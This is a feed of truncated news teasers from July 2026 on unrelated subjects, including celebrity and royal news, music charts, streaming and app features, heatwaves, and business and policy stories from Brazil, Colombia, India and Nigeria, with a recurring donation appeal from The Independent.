Jameela Jamil says 'British people are the most evil people in history' as she admonishes her fellow compatriots in anti-colonial podcast tirade By RICHARD EDEN, DIARY EDITOR and HARRY DOUGHERTY, DIARY REPORTER Published: 12:16 EDT, 22 July 2026 \| Updated: 12:18 EDT, 22 July 2026 Stripped of their roles at the Queen Elizabeth II Commonwealth Trust after they quit royal duties, the Duke and Duchess of Sussex’s Netflix series Harry \& Meghan aired attacks on the Commonwealth, with one contributor dismissing the voluntary organisation as ‘Empire 2.0’. Another commentator claimed in the 2022 documentary that the Commonwealth had ‘not changed a thing…

Nirvanna the Band the Show and Movie will finally be available to stream via Hulu on July 24 The recent film was a big hit, but the series wasn't available to watch anywhere. Comedy fans should probably block off this upcoming weekend. The cult hit Nirvanna the Band the Show the Movie will be available to stream via Hulu starting on July 24. It had previously been available to rent or purchase, but who has the money for that in this economy? That's not all. Hulu is also the new home to the show that inspired the movie, Nirvanna the Band the Show. Both seasons of the 2017-ish show will begin streaming on that same date, which is a pretty big deal.…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Rich Rodriguez discusses the ascent of Pat McAfee with Dan Dakich. Pat McAfee announced significant details Wednesday about his upcoming album. McAfee has become arguably the biggest power player on ESPN and in sports media on YouTube due to his absurd success with "The Pat McAfee Show." The former Indianapolis Colts punter has had the smoothest pivot from professional athletics to media that we've ever seen. EXCLUSIVE: COLIN COWHERD OPENS UP ABOUT SELLING THE VOLUME, SCALING BACK THREE-HOUR SHOW, AND RETIREMENT Now, he's entering the music industry. NFL Commissioner Roger Goodell talks with Pat McAfee on stage during Round Two of the 2026 NFL Draft…

Substack has launched a new feature that can show you which of your favorite newsletters are being written using AI. This week, the newsletter and writing platform announced an integration with the AI writing detection software Pangram that will allow users to scan posts, comments, and replies on Substack’s app to see an estimate of how much of the content was written by a human and how much was AI. In the short term, the move might be bad for Substack’s business, as it could expose many of the newsletters on its platform that aren’t entirely written by people. That could potentially erode trust in the platform’s ecosystem of independent news and…

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Future debuts The Real Me atop the Billboard 200, earning his twelfth No. 1 album. He now claims the fifth-most champions of all time. NEW YORK, NEW YORK - MAY 05: Future attends the 2025 Met Gala Celebrating "Superfine: Tailoring Black Style" at Metropolitan Museum of Art on May 05, 2025 in New York City. (Photo by Dimitrios Kambouris/Getty Images for The Met Museum/Vogue) Getty Images for The Met Museum/Vogue Less than 15 years ago, Future appeared on the Billboard 200 for the first time. The tally is often cited as the most important for albums in the United States, as it measures the most popular full-lengths and EPs in the United States.…

President Donald Trump gives an exclusive tour of the White House Ballroom project, highlighting its design, immense capacity and enhanced security features. He emphasizes it's a gift to America for future generations. NEWYou can now listen to Fox News articles! Lil Wayne is throwing his support behind one of President Donald Trump's most talked-about White House projects. The rap icon praised Trump's plan to build a massive White House ballroom during a Monday appearance on the "Friends Keep Secrets" podcast, arguing the new venue would spare performers from being pushed outside for major events. "I'm so glad to hear Trump say — when they was mad at…

With a lucky thirteenth week at No. 1 on Billboard's Digital Song Sales chart, Ella Langley's "Choosin Texas" ties three tracks as one of the longest-running leaders. NASHVILLE, TENNESSEE - NOVEMBER 19: (EDITORIAL USE ONLY) Ella Langley attends the 2025 CMA Awards at Music City Center on November 19, 2025 in Nashville, Tennessee. (Photo by Taylor Hill/WireImage) WireImage Ella Langley’s “Choosin’ Texas” has spent 39 weeks thus far on the Digital Song Sales chart, which measures the bestselling tracks in the United States through paid downloads from platforms such as iTunes. Digital purchases carry less weight in determining a song’s overall popularity…

Prince George plays on Cornwall beach in new birthday tribute video as he turns 13 The Prince and Princess of Wales have paid tribute to their son Prince George on his birthday, sharing a video of the now-teenager having fun in Cornwall. George, who turned 13 on Wednesday (22 July), can be seen climbing rocks, petting his dog, and playing cricket on the beach in a new footage. “Thank you for all the birthday wishes for George today,” said the Kensington Royal account as they shared the clip online. It comes hours after Kate and William shared a previously unseen photo of the teenager from last month’s Trooping the Colour as they wished him a happy…

São Paulo · Nightlife If You Only Go to One Place Itaú Cultural – Sonora Brasiliana: Juan Falú A stunning free concert by Argentine guitar master Juan Falú on Avenida Paulista. It is the perfect midweek cultural immersion – arrive early, soak up the gallery, then let the music transport you before heading into the Pinheiros night. Tonight at a Glance —Itaú Cultural Free live Latin guitar on Paulista; artsy mixed crowd; tonight 8 pm —Bar Brahma The most iconic samba-and-MPB house in Centro; tourists and locals; live music every night —Santana Bar Sophisticated jazz and blues in Pinheiros; date-night perfection; music from Wednesday —Biri Nait Clubby…

December 10, Simon Cowell's new boy band, debuts its first project, an EP titled On Your Side, inside the top 10 on nearly every chart in the U.K. PASADENA, CALIFORNIA - MARCH 24: Simon Cowell attends "America's Got Talent" Season 21 Media Day at Pasadena Civic Auditorium on March 24, 2026 in Pasadena, California. (Photo by Robin L Marshall/Getty Images) Getty Images For roughly the past decade, K-pop has largely dominated the global market when it comes to commercially successful boy bands and girl groups. South Korean acts regularly score international hits and score bestselling albums, while comparatively few new pop groups from Western countries…

Rio de Janeiro · Nightlife If You Only Go to One Place Bar da Lapa – Pique Novo This is the most traditional samba bar in Lapa, and tonight it hosts Pique Novo for a proper midweek roda de samba. The main act hits around midnight, giving you the full late-night Carioca experience in one iconic spot. Tonight at a Glance —Bar da Lapa Authentic pagode with Pique Novo, main show at midnight; the quintessential Lapa samba crowd on its most traditional night. —Rio Scenarium Samba with Arruda in a stunning antique-filled mansion; best for a dressed-up mixed crowd and a sit-down dinner with live music from 19:00. —Beco do Rato Intimate roda de samba with…

TL;DR: Pantalones Tequila and Tipsy Scoop teamed up on a Peaches \& Cream Margarita Ice Cream flavor made with Pantalones Organic Reposado Tequila. The limited-edition flavor launches July 22 and will be available at Tipsy Scoop locations through August, with nationwide shipping available through Goldbelly. Credit: Pantalones Tequila / Tipsy Scoop Matthew McConaughey’s Pantalones Tequila is giving margarita lovers a new way to enjoy their favorite summer drink — with a spoon. The tequila brand co-founded by Matthew and Camila McConaughey has teamed up with Tipsy Scoop to turn the classic cocktail into a frozen dessert just in time for National Tequila…

Decades after it became one of his first hits in the U.K., Neil Diamond's "Sweet Caroline" returns to the main songs tally in the nation, becoming a top 40 win again. American Pop musician Neil Diamond performs onstage at Madison Square Garden, New York, New York, July 24, 1986. (Photo by Gary Gershoff/Getty Images) Getty Images More than five decades after Neil Diamond released “Sweet Caroline” and it became one of his signature compositions, the song has taken on a life far beyond its original chart performance. For years, the track has been an unlikely fixture at sporting events, and unlike many anthems associated with one team, player or league,…

WhatsApp has announced a variety of new features today on its blog, including support for sharing Apple Music and Spotify activity to your WhatsApp Status, an iPad-focused account change, and more. WhatsApp announces Apple Music sharing, iPad signups, and more Today alongside debuting Adobe Acrobat integration for PDFs, WhatsApp has announced a few other new and recent additions. One new feature lets you share what you’re listening to in Apple Music or Spotify directly to your WhatsApp Status. From the blog post: Share what you’re listening to: Sharing music is a way of expressing yourself, and now you can easily share a song straight from Apple Music…

Lily Allen is set to star in a new Prime Video documentary charting her 'extraordinary' rise to fame. The singer, 41, has had a triumphant return to the music scene with her comeback album West End Girl, and will now appear in the feature-length film looking back at her life. The retrospective documentary will chart Lily's journey, from the "Queen of MySpace" who changed the rules of the music industry, to the cultural force she is today. As a pioneering woman in modern music, Lily's sharp wit and candid storytelling directly paved the way for a generation of today's biggest female artists. Featuring interviews with those who know her best, the…

"Na Na Na" by My Chemical Romance returns to the U.K.'s Official Rock \& Metal Singles chart, upping the band's total wins this week to four. LONDON - NOVEMBER 05: My Chemical Romance posed in London on November 05 2005. L - R Mikey Way, Frank Iero, Ray Toro, Gerard Way, Bob Bryar (Photo by Naki/Redferns) Redferns My Chemical Romance is in the midst of a huge run on the charts in the United Kingdom. The band can regularly be found on the country’s rock rankings, with both albums and songs performing well, but this spring and summer have been especially fruitful for the group. The Long Live The Black Parade Tour began in 2025 and celebrates The Black…

Spotify has rolled out its first music video charts playlist It's part of the platform's steady expansion of its music video ecosystem Spotify is once again battling YouTube, but it's not close competition Music videos in Spotify are becoming one of the most popular ways to engage in digital music streaming — now the service is expanding its video ecosystem in another attempt to one-up YouTube. For the first time, Spotify is bringing music videos to its Charts hub with the launch of Music Video Charts Global, a new top 50 playlist of the most streamed videos. Additionally, the platform has also rolled out a new Videos for You editorial playlist, which…

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Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

The Federal Road Safety Corps (FRSC), Anambra Sector Command, has so far arrested 121 motorists over 214 alleged traffic offences during its ongoing “Operation Total Compliance” in the state. The Sector Commander, Bridget Asekhauno, disclosed this on Wednesday during the enforcement exercise in Awka. Mrs Asekhauno, who the Officer-in-Charge of Motor Vehicle Administration represented, Gloria Ezeugwu, said the three-day operation was conducted across the corps’ 12 zones nationwide. She said the exercise was designed to sensitise motorists to road safety regulations while enforcing compliance and curbing traffic violations capable of causing road…

Japan sizzled under sweltering, life-threatening heat on Wednesday, with temperatures expected to top ​40 degrees Celsius (104 degrees Fahrenheit) in some ‌cities in what the government has newly designated as a "brutally hot day." The weather agency issued heat stroke ​alerts for much of the country, forecasting ​a second straight day of "kokushobi" - literally meaning ⁠brutally hot day - with temperatures expected to reach ​40 C in Kumagaya, north of Tokyo, and ​Nagoya, in central Japan, Reuters reported. Authorities urged residents to use air conditioning liberally, hydrate regularly and avoid spending long hours ​outdoors. Japan has experienced…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

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Descrease article font size Increase article font size France recorded at least 5,700 more deaths than usual during a historic heatwave last month, the public health agency said Wednesday, sharply increasing its estimates of the feared toll from record-shattering temperatures. Public Health France said regions hit by the heat from June 17 to July 2 recorded 21,674 deaths from all causes. But without a heatwave, those same regions would have been expected to have seen far fewer deaths, or 15,910, based on statistical modeling using data from previous years, it said. The difference between expected and actual deaths — a total of 5,764 — are therefore…

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Michigan GOP U.S. Senate candidate Mike Rogers argues Democrats have harmed Michigans economy, leading to job losses and higher living cost, on ‘The Big Weekend Show.’ NEWYou can now listen to Fox News articles! Former campaign official for Sen. Bernie Sanders, I-Vt., Joel Rubin called out the Vermont senator last week for pushing the "most categorically anti-Israel, antisemitic candidates" he's seen in recent years. "I think what Sanders and the Sanders operation have done is shove into our system the most categorically anti-Israel, antisemitic candidates that we’ve seen in a generation — if ever, certainly within the Democratic Party — and it’s by…

Brazil · Business Key Facts —New chairman. Manuel Lino Silva de Sousa Oliveira, known as “Ollie,” a 74-year-old independent Vale board member since 2021. —Term length. Oliveira will serve as chairman through April 2027, completing the current board cycle. —Vote margin. Oliveira defeated vice-chairman Marcelo Gasparino by roughly 1.97 billion votes to 1.06 billion. —Key backer. Previ, the Banco do Brasil employee pension fund and a major Vale shareholder, publicly backed Oliveira. —Market reaction. Vale shares extended gains after the result before paring, signaling initial investor relief. Vale shareholders elected Manuel Lino Silva de Sousa Oliveira…

Last week I drove to Koringberg (a small farming town in the Swartland) to arrange the installation of prepaid electricity meters at one of Goedgedacht’s former Pathways on to Prosperity (POP) centres, where children came after school for a meal, homework support and recreational activities. For many years the centre had been a place where children came after school for a meal, homework support and the security of knowing that someone was there to welcome them. It was one of those ordinary management tasks that probably occupies far more of a managing director’s time than most people imagine. While the electricians were working, I wandered through…

The Vallarta Botanical Gardens welcomed nearly 60,000 visitors last year, with admission fees helping to fund its true mission: to conserve endangered regional flora and fauna. The post MND Local: New annual report highlights Vallarta Botanical Gardens’ expanding conservation mission appeared first on Mexico News Daily

Colombia · Politics Key Facts —Amount reallocated. COP 4 trillion (about US$1.23 billion) moved from the Colombia Solar program to the UNGRD. —Timing of impact. Government expects El Niño effects from December 2026 through March 2027, with reservoir stress peaking in early 2027. —Priority regions. 111 municipalities across 15 departments are classified as high risk; 80 tanker trucks are deployed in 22 departments. —Disaster declaration. A six-month decree window allows faster procurement and project execution to speed up preventive actions. —Agricultural support. More than COP 669,000 million (US$205.7 million) is earmarked for farm protection and…

According to the Cauvery Water Management Authority, the present storage in reservoirs of the Cauvery basin in both Karnataka and Tamil Nadu could only take care of their drinking water requirements. \| Photo Credit: file photo Taking a serious note of poor rainfall in the Cauvery basin, the Cauvery Water Management Authority (CWMA) that met in Delhi on Wednesday has directed both Karnataka and Tamil Nadu to strictly confine use of their storage to drinking water purposes. The CWMA, which is the apex body that monitors implementation of Cauvery water release to lower riparian States as per the Supreme Court’s verdict, directed both the States to…

MANILA, Philippines — The Philippine Coconut Authority (PCA) expects coconut export revenues to exceed 2025 levels despite El Niño risks. “We’re still positive that we’ll still be able to surpass our 2025 exports… hopefully, it’s still higher than what we had last year,” PCA Head Executive Assistant Joseph Cezar Deligero said. READ: Coconut exports seen […]...Keep on reading: Coconut exports seen rising amid El Niño setbacks

By KATIE HIND, CONSULTANT EDITOR SHOWBUSINESS Published: 06:32 EDT, 22 July 2026 \| Updated: 12:03 EDT, 22 July 2026 Two and a half years after quitting This Morning, Holly Willoughby has given me a sneak peek at her new YouTube show over brunch. She told me she knows she's not everyone's cup of tea. She's not fearful of people criticising her. Her brilliant comeback will leave ITV bosses green with envy. Watch the video to find out why. Share or comment on this article: Holly Willoughby's YouTube comeback will leave This Morning bosses green with envy: KATIE HIND

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If you’ve only ever interacted with Splatoon from a casual distance, it may seem like there’s not much story to Nintendo’s multiplayer series. You’re a kid-squid who shoots ink guns. What more is there to know? Anyone who has followed the series closely for the past decade, though, will tell you that Splatoon has some of the richest, weirdest lore in all of video games. That detail is relevant to know before you jump into Splatoon Raiders, the shooting series’ first single-player-focused game. While most of its emphasis is on treasure hunting, there’s a lot of worldbuilding nestled into collectible scrolls. (You’ll learn all about the economic crisis…

Image used for representational purposes only. \| Photo Credit: The Hindu The Centre is considering removing restrictions on airline ownership in airport operators and vice versa, a move that could pave the way for airline groups such as the Tata Group-owned Air India to acquire stakes in airports, according to people familiar with the matter. “The Ministry of Civil Aviation is preparing a concept note for consultations with NITI Aayog and other government ministries on the proposed changes,” said a person aware of the discussions, adding that such a proposal will need a final nod from the Union Cabinet. The proposal comes amid Air India’s interest in…

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